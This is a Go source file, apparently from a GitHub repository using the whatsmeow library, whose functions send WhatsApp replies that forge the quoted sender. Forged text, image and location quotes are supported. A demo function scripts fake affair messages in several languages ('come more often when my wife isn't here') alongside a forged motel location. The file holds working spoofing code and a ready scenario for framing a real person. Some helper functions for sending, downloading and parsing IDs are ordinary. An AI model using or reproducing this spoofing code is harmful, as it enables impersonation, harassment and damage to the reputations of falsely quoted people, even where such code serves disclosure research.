-
-
Notifications
You must be signed in to change notification settings - Fork 2
/
functions.go
283 lines (266 loc) · 20.1 KB
/
functions.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
package main
import (
"context"
"errors"
"fmt"
"mime"
"net/http"
"os"
"strings"
"go.mau.fi/whatsmeow"
waE2E "go.mau.fi/whatsmeow/proto/waE2E"
"go.mau.fi/whatsmeow/types"
"go.mau.fi/whatsmeow/types/events"
"google.golang.org/protobuf/proto"
)
func sendSpoofedReplyThis(chatID types.JID, spoofedID types.JID, msgID string, text string, msg *waE2E.Message) (*waE2E.Message, *whatsmeow.SendResponse, error) {
newmsg := &waE2E.Message{
ExtendedTextMessage: &waE2E.ExtendedTextMessage{
Text: proto.String(text),
PreviewType: waE2E.ExtendedTextMessage_IMAGE.Enum(),
// PreviewType: waE2E.ExtendedTextMessage_NONE.Enum(),
ContextInfo: &waE2E.ContextInfo{
StanzaID: proto.String(msgID),
Participant: proto.String(spoofedID.String()),
QuotedMessage: msg.ExtendedTextMessage.ContextInfo.QuotedMessage,
},
},
}
resp, err := cli.SendMessage(context.Background(), chatID, newmsg)
if err != nil {
log.Errorf("Error sending reply message: %v", err)
return msg, &resp, err
} else {
log.Infof("Message sent (server timestamp: %s)", resp.Timestamp)
return msg, &resp, err
}
}
func sendSpoofedReplyMessage(chatID types.JID, fromID types.JID, msgID string, replyText string, myTtext string) (*waE2E.Message, *whatsmeow.SendResponse, error) {
msg := &waE2E.Message{
ExtendedTextMessage: &waE2E.ExtendedTextMessage{
Text: proto.String(myTtext),
ContextInfo: &waE2E.ContextInfo{
StanzaID: proto.String(msgID),
Participant: proto.String(fromID.String()),
QuotedMessage: &waE2E.Message{
Conversation: proto.String(replyText),
},
},
},
}
resp, err := cli.SendMessage(context.Background(), chatID, msg)
if err != nil {
log.Errorf("Error sending reply message: %v", err)
return msg, &resp, err
} else {
log.Infof("Message sent (server timestamp: %s)", resp.Timestamp)
return msg, &resp, err
}
}
func sendSpoofedReplyImg(chatID types.JID, fromID types.JID, msgID string, file string, replyText string, myTtext string) (*waE2E.Message, *whatsmeow.SendResponse, error) {
data, err := os.ReadFile(file)
if err != nil {
log.Errorf("Failed to read %s: %v", file, err)
return &waE2E.Message{}, &whatsmeow.SendResponse{}, err
}
uploaded, err := cli.Upload(context.Background(), data, whatsmeow.MediaImage)
if err != nil {
log.Errorf("Failed to upload file: %v", err)
return &waE2E.Message{}, &whatsmeow.SendResponse{}, err
}
msg := &waE2E.Message{
ExtendedTextMessage: &waE2E.ExtendedTextMessage{
Text: proto.String(myTtext),
PreviewType: waE2E.ExtendedTextMessage_IMAGE.Enum(),
// PreviewType: waE2E.ExtendedTextMessage_NONE.Enum(),
ContextInfo: &waE2E.ContextInfo{
StanzaID: proto.String(msgID),
Participant: proto.String(fromID.String()),
QuotedMessage: &waE2E.Message{
ImageMessage: &waE2E.ImageMessage{
Caption: proto.String(replyText),
URL: proto.String(uploaded.URL),
DirectPath: proto.String(uploaded.DirectPath),
MediaKey: uploaded.MediaKey,
Mimetype: proto.String(http.DetectContentType(data)),
FileEncSHA256: uploaded.FileEncSHA256,
FileSHA256: uploaded.FileSHA256,
FileLength: proto.Uint64(uint64(len(data))),
JPEGThumbnail: data,
Height: proto.Uint32(100),
Width: proto.Uint32(100),
MidQualityFileSHA256: uploaded.FileSHA256,
},
},
},
},
}
resp, err := cli.SendMessage(context.Background(), chatID, msg)
if err != nil {
log.Errorf("Error sending reply message: %v", err)
return msg, &resp, err
} else {
log.Infof("Message sent (server timestamp: %s)", resp.Timestamp)
return msg, &resp, err
}
}
func sendSpoofedReplyLocation(chatID types.JID, fromID types.JID, msgID string, file string, myTtext string) (*waE2E.Message, *whatsmeow.SendResponse, error) {
msg := &waE2E.Message{
ExtendedTextMessage: &waE2E.ExtendedTextMessage{
Text: proto.String(myTtext),
PreviewType: waE2E.ExtendedTextMessage_NONE.Enum(),
// PreviewType: waE2E.ExtendedTextMessage_NONE.Enum(),
ContextInfo: &waE2E.ContextInfo{
StanzaID: proto.String(msgID),
Participant: proto.String(fromID.String()),
QuotedMessage: &waE2E.Message{
LocationMessage: &waE2E.LocationMessage{
DegreesLatitude: proto.Float64(-23.664372670968287),
DegreesLongitude: proto.Float64(-46.49175593257989),
Name: proto.String("Motel Confidence"),
Address: proto.String("R. Giovanni Battista Pirelli, 1729, Santo André, SP 09111-340"),
URL: proto.String("http://www.motelconfidence.com.br/"),
JPEGThumbnail: []byte("\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xe2\x02(ICC_PROFILE\x00\x01\x01\x00\x00\x02\x18\x00\x00\x00\x00\x040\x00\x00mntrRGB XYZ \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00acsp\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\xf6\xd6\x00\x01\x00\x00\x00\x00\xd3-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\tdesc\x00\x00\x00\xf0\x00\x00\x00trXYZ\x00\x00\x01d\x00\x00\x00\x14gXYZ\x00\x00\x01x\x00\x00\x00\x14bXYZ\x00\x00\x01\x8c\x00\x00\x00\x14rTRC\x00\x00\x01\xa0\x00\x00\x00(gTRC\x00\x00\x01\xa0\x00\x00\x00(bTRC\x00\x00\x01\xa0\x00\x00\x00(wtpt\x00\x00\x01\xc8\x00\x00\x00\x14cprt\x00\x00\x01\xdc\x00\x00\x00<mluc\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0cenUS\x00\x00\x00X\x00\x00\x00\x1c\x00s\x00R\x00G\x00B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00XYZ \x00\x00\x00\x00\x00\x00o\xa2\x00\x008\xf5\x00\x00\x03\x90XYZ \x00\x00\x00\x00\x00\x00b\x99\x00\x00\xb7\x85\x00\x00\x18\xdaXYZ \x00\x00\x00\x00\x00\x00$\xa0\x00\x00\x0f\x84\x00\x00\xb6\xcfpara\x00\x00\x00\x00\x00\x04\x00\x00\x00\x02ff\x00\x00\xf2\xa7\x00\x00\rY\x00\x00\x13\xd0\x00\x00\n[\x00\x00\x00\x00\x00\x00\x00\x00XYZ \x00\x00\x00\x00\x00\x00\xf6\xd6\x00\x01\x00\x00\x00\x00\xd3-mluc\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0cenUS\x00\x00\x00 \x00\x00\x00\x1c\x00G\x00o\x00o\x00g\x00l\x00e\x00 \x00I\x00n\x00c\x00.\x00 \x002\x000\x001\x006\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\n\x10\n\n\t\t\n\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&')*)\x19\x1f-0-(0%()(\xff\xdb\x00C\x01\x07\x07\x07\n\x08\n\x13\n\n\x13(\x1a\x16\x1a((((((((((((((((((((((((((((((((((((((((((((((((((\xff\xc0\x00\x11\x08\x00d\x00d\x03\x01\"\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1c\x00\x00\x01\x04\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x05\x06\x03\x04\x07\x08\xff\xc4\x00@\x10\x00\x01\x03\x03\x02\x02\x05\x06\x0c\x05\x05\x01\x00\x00\x00\x00\x01\x02\x03\x04\x00\x05\x11\x12!\x061\x13AQaq\x07\x14\"2\x91\xc1\x15#BRSbr\x81\xa1\xb1\xd1\xf13D\x82\xe1\xe2$%4\x93\xf0\xa2\xff\xc4\x00\x1a\x01\x01\x00\x03\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x04\x02\x05\x06\xff\xc4\x00/\x11\x00\x02\x01\x03\x01\x06\x03\x07\x05\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x111\x05\x12!a\xd1\xf0\"Q\xa1\x06\x13\x14q\x81\x91\xc1$2AC\xb1\xff\xda\x00\x0c\x03\x01\x00\x02\x11\x03\x11\x00?\x00\xf4\xcd\x14QR@QE\x14\x01E\x14P\x05\x14Q@\x14QE\x00V\xc4C\x96t\x9f\x92J\x7fO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x04\x8c\xa8\x80;룑U\xa9\x7f\xc4Z\x8fp8\x1f\x857\xf9f>\xab\x8aOݿ\xf6\xa7%+Ru\x1c6\xdf\xce^߅;\xe2\x04Un\xb7R\x95N<;h\x06\xd1M\xf8\x9f\xa0\x91\xff\x00g\xf9S\xb4\xb1Ї4\xbc=-8\xd6s\x9fm\x01\x13\xc51\x1a\x9dfS\x0f\xdcg[\x90\xb7[OM\x0c\x9dd\xa9ZBN\x01:IP\xcf.\xf2\x05'\x0e\xb0\xc4r#\x8eBv)P\xe8C\x10\xc3\n\x07}ExQ\n'm\xf0:\xebj\xf1pb\xd5i\x99p)\x92\xb1\x19\xa2\xe7F\x0e5\xe3\x90\xcfVN\x06j\"g\x13LEը\xaf@\x8f\xd00\xe4X\xf3]K䩹\x0f\xe0\x04\xb64\xe1A:\x92I$l\xae[P\x16\x1e\x85\xbf\xa3G\xb2\x8aq\x08\x07\x1ev\xc8\xf1\x1fފ\x01N\xc0\xd0\xe3\xcbf4T\xb6@\xd6\x00'\xaf\x95\x14P\x08\x105j9R\xber\xb74\xb4Q@1\xe5\x940\xe2\x874\xe0\x8f\xbfj̴&<e<\x91\xa9\xc0\x9c\x82\xbd袀\u009c\xb8\x12\xb7\tR\xb9\x8c\xf5xS\x87\xf0d\xfdƊ(\x05\xa4\xfeY\xde\xe7S\x8f\xfe\x7fZ(\xa01\xcbe\xa9\x10\xe4\xb3!\xb4:ˍ)+mc)ZH9\x07\xba\xb9w\x06]ZU\x9a\xde\xe2-6\xe4(\x17\xa6\x0c\x87\x1c!\xe4\xbc\xd3AyZ\xc9'J\xce䓰\xc69QE\x01\xd6\x160\xb2\x05\x14Q@\x7f\xff\xd9"),
},
},
},
},
}
resp, err := cli.SendMessage(context.Background(), chatID, msg)
if err != nil {
log.Errorf("Error sending reply message: %v", err)
return msg, &resp, err
} else {
log.Infof("Message sent (server timestamp: %s)", resp.Timestamp)
return msg, &resp, err
}
}
func sendSpoofedTalkDemo(chatJID types.JID, spoofedJID types.JID, toGender string, language string, spoofedFile string) {
msgmap := make(map[string]map[string]map[int]string)
msgmap["br"] = make(map[string]map[int]string)
msgmap["br"]["generic"] = make(map[int]string)
msgmap["br"]["generic"][0] = "Oieeee..."
msgmap["br"]["generic"][1] = "Também adorei a noite de ontem..."
msgmap["br"]["generic"][2] = "❤️❤️❤️❤️❤️"
msgmap["br"]["generic"][3] = "Para você, estou sempre disponivel, meu amor..."
msgmap["br"]["generic"][4] = "Só me chamar que eu vou..."
msgmap["br"]["generic"][5] = "Minha delicia..."
msgmap["br"]["generic"][6] = "Adorei esse motel que você escolheu só para nós dois..."
msgmap["br"]["boy"] = make(map[int]string)
msgmap["br"]["boy"][0] = "Ontem a noite foi maravilhosa, venha mais vezes quando a minha mulher não estiver aqui em casa..."
msgmap["br"]["boy"][1] = "Todo seu!"
msgmap["br"]["girl"] = make(map[int]string)
msgmap["br"]["girl"][0] = "Ontem a noite foi maravilhosa, venha mais vezes quando o meu marido não estiver aqui em casa..."
msgmap["br"]["girl"][1] = "Toda sua!"
msgmap["en"] = make(map[string]map[int]string)
msgmap["en"]["generic"] = make(map[int]string)
msgmap["en"]["generic"][0] = "Hieeee..."
msgmap["en"]["generic"][1] = "I also loved last night..."
msgmap["en"]["generic"][2] = "❤️❤️❤️❤️❤️"
msgmap["en"]["generic"][3] = "For you, I am always available, my love..."
msgmap["en"]["generic"][4] = "Just call me and I'll come..."
msgmap["en"]["generic"][5] = "My deliciousness..."
msgmap["en"]["generic"][6] = "I loved this motel you chose just for the two of us..."
msgmap["en"]["boy"] = make(map[int]string)
msgmap["en"]["boy"][0] = "Last night was wonderful, come more often when my wife isn't here..."
msgmap["en"]["boy"][1] = "All yours!"
msgmap["en"]["girl"] = make(map[int]string)
msgmap["en"]["girl"][0] = "Last night was wonderful, come more often when my husband isn't here..."
msgmap["en"]["girl"][1] = "All yours!"
msgmap["ar"] = make(map[string]map[int]string)
msgmap["ar"]["generic"] = make(map[int]string)
msgmap["ar"]["generic"][0] = "أهلا..."
msgmap["ar"]["generic"][1] = "مرحبا..."
msgmap["ar"]["generic"][2] = "❤️❤️❤️❤️❤️"
msgmap["ar"]["generic"][3] = "كيف حالك؟..."
msgmap["ar"]["generic"][4] = "أين أنت؟..."
msgmap["ar"]["generic"][5] = "لمادا لا تجيب؟..."
msgmap["ar"]["generic"][6] = "ما بك؟..."
_, err := cli.SendMessage(context.Background(), chatJID, &waE2E.Message{Conversation: proto.String(msgmap[language]["generic"][0])})
_, err = cli.SendMessage(context.Background(), chatJID, &waE2E.Message{Conversation: proto.String(msgmap[language]["generic"][1])})
_, _, err = sendSpoofedReplyMessage(chatJID, spoofedJID, cli.GenerateMessageID(), msgmap[language][toGender][0], msgmap[language]["generic"][2])
_, err = cli.SendMessage(context.Background(), chatJID, &waE2E.Message{Conversation: proto.String(msgmap[language]["generic"][3])})
_, err = cli.SendMessage(context.Background(), chatJID, &waE2E.Message{Conversation: proto.String(msgmap[language]["generic"][4])})
if spoofedFile != "" {
_, _, err = sendSpoofedReplyImg(chatJID, spoofedJID, cli.GenerateMessageID(), spoofedFile, msgmap[language][toGender][1], msgmap[language]["generic"][5])
}
_, _, err = sendSpoofedReplyLocation(chatJID, spoofedJID, cli.GenerateMessageID(), spoofedFile, msgmap[language]["generic"][6])
if err != nil {
log.Errorf("Error on sending spoofed msg: %v", err)
} else {
// log.Infof("spoofed msg sended: %+v / %+v / %+v / %+v / %+v ", resp1, resp2, resp3, resp4, resp5)
log.Infof("spoofed msg sended to %s from %s ", chatJID.String(), spoofedJID.String())
}
}
func sendConversationMessage(recipient_jid types.JID, text string) (*waE2E.Message, *whatsmeow.SendResponse, error) {
msg := &waE2E.Message{Conversation: proto.String(text)}
resp, err := cli.SendMessage(context.Background(), recipient_jid, msg)
if err != nil {
log.Errorf("Error sending message: %v", err)
return msg, &resp, err
} else {
log.Infof("Message sent (server timestamp: %s)", resp.Timestamp)
return msg, &resp, err
}
}
func sendMessage(recipient_jid types.JID, msg *waE2E.Message) (*waE2E.Message, *whatsmeow.SendResponse, error) {
resp, err := cli.SendMessage(context.Background(), recipient_jid, msg)
if err != nil {
log.Errorf("Error sending message: %v", err)
return msg, &resp, err
} else {
log.Infof("Message sent (server timestamp: %s)", resp.Timestamp)
return msg, &resp, err
}
}
func getMsg(evt *events.Message) string {
msg := ""
if evt.Message.Conversation != nil {
msg = *evt.Message.Conversation
}
if evt.Message.ExtendedTextMessage != nil {
msg = *evt.Message.ExtendedTextMessage.Text
}
return msg
}
func download(evt_type string, file interface{}, mimetype string, evt *events.Message, rawEvt interface{}) (err error) {
if file != nil {
exts, _ := mime.ExtensionsByType(mimetype)
file_name := fmt.Sprintf("%s%s", evt.Info.ID, exts[0])
if mimetype == "text/vcard" {
data := file.(*waE2E.ContactMessage)
err = postEventFile(evt_type, rawEvt, nil, file_name, []byte(*data.Vcard))
} else {
data, err := cli.Download(file.(whatsmeow.DownloadableMessage))
if err != nil {
postError(evt_type, fmt.Sprintf("%s Failed to download", evt_type), rawEvt)
return err
}
err = postEventFile(evt_type, rawEvt, nil, file_name, data)
}
if err != nil {
postError(evt_type, fmt.Sprintf("%s Failed to save event", evt_type), rawEvt)
return err
}
return nil
}
return errors.New("File is nil")
}
func parseJID(arg string) (types.JID, bool) {
if arg[0] == '+' {
arg = arg[1:]
}
if !strings.ContainsRune(arg, '@') {
return types.NewJID(arg, types.DefaultUserServer), true
} else {
recipient, err := types.ParseJID(arg)
if err != nil {
log.Errorf("Invalid JID %s: %v", arg, err)
return recipient, false
} else if recipient.User == "" {
log.Errorf("Invalid JID %s: no server specified", arg)
return recipient, false
}
return recipient, true
}
}